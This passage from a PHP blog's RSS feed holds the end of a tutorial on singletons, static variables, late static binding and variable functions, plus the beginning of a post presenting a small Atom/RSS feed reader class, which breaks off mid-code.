<span style="color: #b1b100;">echo</span> Greeter<span style="color: #339933;">::</span><span style="color: #004000;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hello</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Hi 1'</span>
<span style="color: #b1b100;">echo</span> Greeter<span style="color: #339933;">::</span><span style="color: #004000;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hello</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Hi 2'</span>
<span style="color: #b1b100;">echo</span> FrenchGreeter<span style="color: #339933;">::</span><span style="color: #004000;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">hello</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Bonjour 1'</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

<p>Now, there are a few fun snippets in this piece of code. Let&#8217;s start at the top:</p>
<h2>Private constructors</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>A private constructor? Yep. That means that only the Greeter class can construct a new instance of itself. You can try it if you&#8217;d like:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$bob</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Greeter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
Fatal error<span style="color: #339933;">:</span> Call to <span style="color: #000000; font-weight: bold;">private</span> Greeter<span style="color: #339933;">::</span>__construct<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> from invalid context in C<span style="color: #339933;">:</span>\Users\Josh\Examples\singletons<span style="color: #339933;">.</span>php on line <span style="color: #cc66cc;">1</span></pre></div></div>

<p>Told you so. So this prevents anyone from sneakily constructing a new instance of the class when we&#8217;re not looking. On to the next snippet.</p>
<h2>Static variables</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> getInstance<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	static <span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span></pre></div></div>

<p>Defining <a href="http://php.net/manual/en/language.variables.scope.php">statically scopped variables</a> within functions is a feature borrowed from C. All static variables, whether defined in a method or in the class definition, are bound to the function and will persist across calls. The initial assignment (setting the variable to null) is only executed once &#8211; when the variable is declared. You can only assign scalar values on a static variable declaraion so the null assignment and check are necessary to if we are to assign an object or array to the variable.</p>
<p>You can use static variables in instance methods and plain old functions too. If you do use them in an instance method then remember that the variable is bound to the class and not the instance. Take a look at the following code:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> Counter <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		static <span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> SubCounter <span style="color: #000000; font-weight: bold;">extends</span> Counter <span style="color: #009900;">&#123;</span> 
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Counter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Counter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> SubCounter<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$a</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 1</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$b</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 2</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$c</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 1</span></pre></div></div>

<p>Even though $a and $b are two seperate instances the static $count variable is scoped to the method, which is in turn scoped to the class, so is shared between instances. When we call the method on $c our static variable is bound to SubCounter so we get the value of 1. </p>
<h2>Fetching the current class name</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$class</span> <span style="color: #339933;">=</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>The <a href="http://www.php.net/get_called_class">get_called_class</a> method is a long overdue addition to PHP and was added in the 5.3 release with the introduction of <a href="http://php.net/manual/en/language.oop5.late-static-bindings.php">late static binding</a>. The function returns the class which the current method was invoked on. The older <a href="http://www.php.net/get_class">get_class</a> (when called with no arguments) and __CLASS__ magic constant always return the name of the class where the current method was defined (compile time binding). Let&#8217;s take a look.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000000; font-weight: bold;">class</span> A <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> who<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #009900; font-weight: bold;">__CLASS__</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #990000;">get_class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #990000;">get_class</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> static <span style="color: #000000; font-weight: bold;">function</span> whoStatic<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #009900; font-weight: bold;">__CLASS__</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #990000;">get_class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">echo</span> get_called_class<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">class</span> B <span style="color: #000000; font-weight: bold;">extends</span> A <span style="color: #009900;">&#123;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> A<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> B<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 	
<span style="color: #000088;">$a</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">who</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>          <span style="color: #666666; font-style: italic;">//Outputs AAAA</span>
<span style="color: #000088;">$b</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">who</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>          <span style="color: #666666; font-style: italic;">//Outputs AABB</span>
A<span style="color: #339933;">::</span><span style="color: #004000;">whoStatic</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">//AAA</span>
B<span style="color: #339933;">::</span><span style="color: #004000;">whoStatic</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>    <span style="color: #666666; font-style: italic;">//Outputs AAB</span></pre></div></div>

<p>The get_class() function is a kind-of dual purpose function. If an object is passed to the function then it returns the name of that object&#8217;s class. Otherwise it acts like __CLASS__. </p>
<p>Instance methods always give us an implicit $this variable, which we can easily pass to get_class(). However, static methods have no such luxury. Before the introduction of late static binding there was absolutely no way to determine which class a static method was called on.</p>
<h2>Variable variable functions</h2>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$instance</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #000088;">$class</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>This is one of PHP&#8217;s niftier features. Any variable lookup, function call or class instantiation can be performed on a string value. PHP calls these <a href="http://www.php.net/manual/en/language.variables.variable.php">Variable variables</a> and <a href="http://www.php.net/manual/en/functions.variable-functions.php">Variable functions</a>. Let&#8217;s check out some examples.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$var</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'city'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$city</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'London'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$$var</span><span style="color: #339933;">;</span>	<span style="color: #666666; font-style: italic;">//Outputs 'London'</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'foo'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'bar'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$foobar</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'Found me'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> $<span style="color: #009900;">&#123;</span><span style="color: #000088;">$a</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$b</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Found me'</span>
&nbsp;
<span style="color: #000088;">$a</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'b'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$b</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'c'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'d'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$d</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'The end'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> $$<span style="color: #000088;">$$a</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'The end';</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">function</span> greeting<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Hi'</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$func</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'greeting'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$func</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Outputs 'Hi'</span></pre></div></div>

<p>This allows for some neat meta-programming. Though care should be taken not to abuse the functionality.</p>
<p>So there you have it, four advanced PHP examples from one design pattern (that you should never, ever use).</p>
]]></content:encoded>
			<wfw:commentRss>http://joshduck.com/blog/2010/03/10/singletons-what-can-they-teach-us-about-php/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Simple Atom / RSS Reader for PHP</title>
		<link>http://joshduck.com/blog/2010/02/08/simple-atom-rss-reader-for-php/</link>
		<comments>http://joshduck.com/blog/2010/02/08/simple-atom-rss-reader-for-php/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 19:13:25 +0000</pubDate>
		<dc:creator>Josh</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://joshduck.com/blog/?p=46</guid>
		<description><![CDATA[I was recently looking for a simple RSS reader for PHP. There are a few out there, like Magpie RSS. These seem like adequate projects, but much too high level for the scripts I was throwing together. I need to read a couple of different feed formats: namely Wordpress&#8217; RSS feed and Flickr&#8217;s Atom feeds. [...]]]></description>
			<content:encoded><![CDATA[<p>I was recently looking for a simple RSS reader for PHP. There are a few out there, like <a href="http://magpierss.sourceforge.net/">Magpie RSS</a>. These seem like adequate projects, but much too high level for the scripts I was throwing together. I need to read a couple of different feed formats: namely Wordpress&#8217; RSS feed and Flickr&#8217;s Atom feeds. I decided to put together a single-class implementation which didn&#8217;t do anything more than the bare minimum.</p>
<p><span id="more-46"></span>
<ul>
<li>Read both Atom and RSS feeds.</li>
<li>Easy initialisation and feed iteration (one line for each).</li>
<li>Cache URL contents (default is 60 minutes).</li>
<li>Graceful degradation: fail gracefully on errors (errors result in a 0 item feed which can be iterated through).</li>
<li>Single XML implementation for leaner code (SimpleXML).</li>
</ul>
<p>Firstly, my usage examples:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$feed</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Feed<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'http://www.example.com/feed.rss'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Get items with next() or current()</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;">// &quot;Blog post 1&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;">// &quot;Blog post 2&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>        <span style="color: #666666; font-style: italic;">// &quot;Blog post 2&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Feed data returned</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>        <span style="color: #666666; font-style: italic;">// &quot;Blog post 2&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">date</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// int(1265569159)</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">description</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// &quot;Lorem ipsum dolar...&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">link</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// &quot;http://www.example.com/blog/2&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">image</span><span style="color: #339933;">;</span>        <span style="color: #666666; font-style: italic;">// &quot;http://www.example.com/blog/images/2.jpg&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Get multiple items in single call</span>
<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">find</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$item</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>               <span style="color: #666666; font-style: italic;">// &quot;Blog post 3&quot; &quot;Blog post 4&quot; &quot;Blog post 5&quot;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Reset internal counter</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>           <span style="color: #666666; font-style: italic;">// &quot;Blog post 1&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Get random items, without repeating</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// &quot;Blog post 4&quot;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">random</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">title</span><span style="color: #339933;">;</span>         <span style="color: #666666; font-style: italic;">// &quot;Blog post 1&quot;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Total number of items</span>
<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$feed</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>                 <span style="color: #666666; font-style: italic;">// int(10)</span></pre></div></div>

<p>The implementation is below. I failed on the single-class requirement, instead choosing to use the Template design pattern and break the actual XML DOM navigation out into a seperate class for each feed type. This keeps the overall design a lot cleaner.</p>
<div style="height: 40em; overflow: auto;">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #009933; font-style: italic;">/**
 * Simple reader for RSS and Atom feeds. 
 * Requires: SimpleXML, fopen_wrappers
 * Limitations: Not content encoding support. 
 * 
 * Usage:
 *     $feed = new Feed('http://www.example.com/feed.rss');
 *
 *     //Get items with next() or current()
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 1&quot;
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 1&quot;
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 2&quot;
 *     echo $feed-&gt;current()-&gt;title;        // &quot;Blog post 2&quot;
 *
 *     //Feed data returned
 *     echo $feed-&gt;current()-&gt;title;        // &quot;Blog post 2&quot;
 *     echo $feed-&gt;current()-&gt;date;         // int(1265569159)
 *     echo $feed-&gt;current()-&gt;description;  // &quot;Lorem ipsum dolar...&quot;
 *     echo $feed-&gt;current()-&gt;link;         // &quot;http://www.example.com/blog/2&quot;
 *     echo $feed-&gt;current()-&gt;image;        // &quot;http://www.example.com/blog/images/2.jpg&quot;
 *
 *     //Get multiple items in single call
 *     foreach ($feed-&gt;find(3) as $item) {
 *         echo $item-&gt;title;               // &quot;Blog post 3&quot; &quot;Blog post 4&quot; &quot;Blog post 5&quot;
 *     }
 *
 *     //Reset internal counter
 *     echo $feed-&gt;reset();
 *     echo $feed-&gt;next()-&gt;title;           // &quot;Blog post 1&quot;
 *
 *     //Get random items, without repeating
 *     echo $feed-&gt;random()-&gt;title;         // &quot;Blog post 4&quot;
 *     echo $feed-&gt;random()-&gt;title;         // &quot;Blog post 3&quot;
 *
 *     //Total number of items
 *     echo $feed-&gt;count();                 // int(10)
 */</span>
<span style="color: #000000; font-weight: bold;">class</span> Feed <span style="color: #009900;">&#123;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$reader</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$current</span><span style="color: #339933;">;</span>
	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$remaining</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000088;">$cacheTime</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">3600</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Create Atom reader object.
	 *
	 * @param string $url
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$url</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Reset current item to first RSS item.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">reset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span> <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get the next item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">next</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #339933;">++;</span>
			<span style="color: #000088;">$next</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #b1b100;">return</span> <span style="color: #000088;">$next</span><span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get the current item in the feed.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #990000;">current</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getReader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">item</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">max</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">current</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #009933; font-style: italic;">/**
	 * Get random item from the feed. Will not return an item more than once.
	 *
	 * @return stdClass Object representing the item. Will return null when the list is exhausted.
	 */</span>
	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> random<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">remaining</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
